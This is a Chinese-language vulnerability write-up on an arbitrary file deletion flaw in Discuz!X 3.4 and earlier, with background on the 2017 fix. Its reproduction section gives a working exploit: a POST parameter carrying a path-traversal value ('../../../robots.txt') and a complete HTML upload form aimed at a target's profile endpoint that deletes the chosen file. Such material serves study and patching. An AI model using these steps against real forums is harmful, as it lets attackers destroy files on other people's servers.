Discuz!X 3.4 任意文件删除漏洞

0x01 前言
Discuz!X社区软件,是一个采用PHP 和MySQL 等其他多种数据库构建的性能优异、功能全面、安全稳定的社区论坛平台。
 
2017年9月29日,Discuz!修复了一个安全问题用于加强安全性,这个漏洞会导致前台用户可以导致任意删除文件漏洞。
 
2017年9月29日,知道创宇404 实验室开始应急,经过知道创宇404实验室分析确认,该漏洞于2014年6月被提交到Wooyun漏洞平台,Seebug漏洞平台收录了该漏洞,漏洞编号ssvid-93588。该漏洞通过配置属性值,导致任意文件删除。
 
经过分析确认,原有的利用方式已经被修复,添加了对属性的formtype判断,但修复方式不完全导致可以绕过,通过模拟文件上传可以进入其他unlink条件,实现任意文件删除漏洞。
 0x02 影响范围
Discuz!X ≤3.4

0x03 漏洞分析
https://lorexxar.cn/2017/09/30/dz-delete/
 
0x04 漏洞复现
1、注册一个用户并成功登陆,之后在【设置】中找到自己的formhash:
1.png

然后发送post请求
home.php?mod=spacecp&ac=profile&op=base

POST的参数为:birthprovince=../../../robots.txt&profilesubmit=1&formhash=8b30b403

其中formhash替换为自己的formhash
2.png

刷新个人资料页面就会看到出生地已经被我们插入脏数据.

3.png

2.在本地新建一个up.html,将html中的ip改为目标,将formhash改为自己的。    
<body>
<form action="http://【ip】/home.php?mod=spacecp&ac=profile&op=base" method="post" enctype="multipart/form-data">
<input type="hidden" name="formhash" value="4e34bb4d">
<input type="file" name="birthprovince" />
<input type="hidden" name="profilesubmit" value="1">
<input type="submit" value="upload" />
</form>
</body>
打开up.html,在本地选择一张正常的图片上传,提交之后robots.txt已经被我们删除。
4.png


5.png

 

0 个评论

要回复文章请先登录注册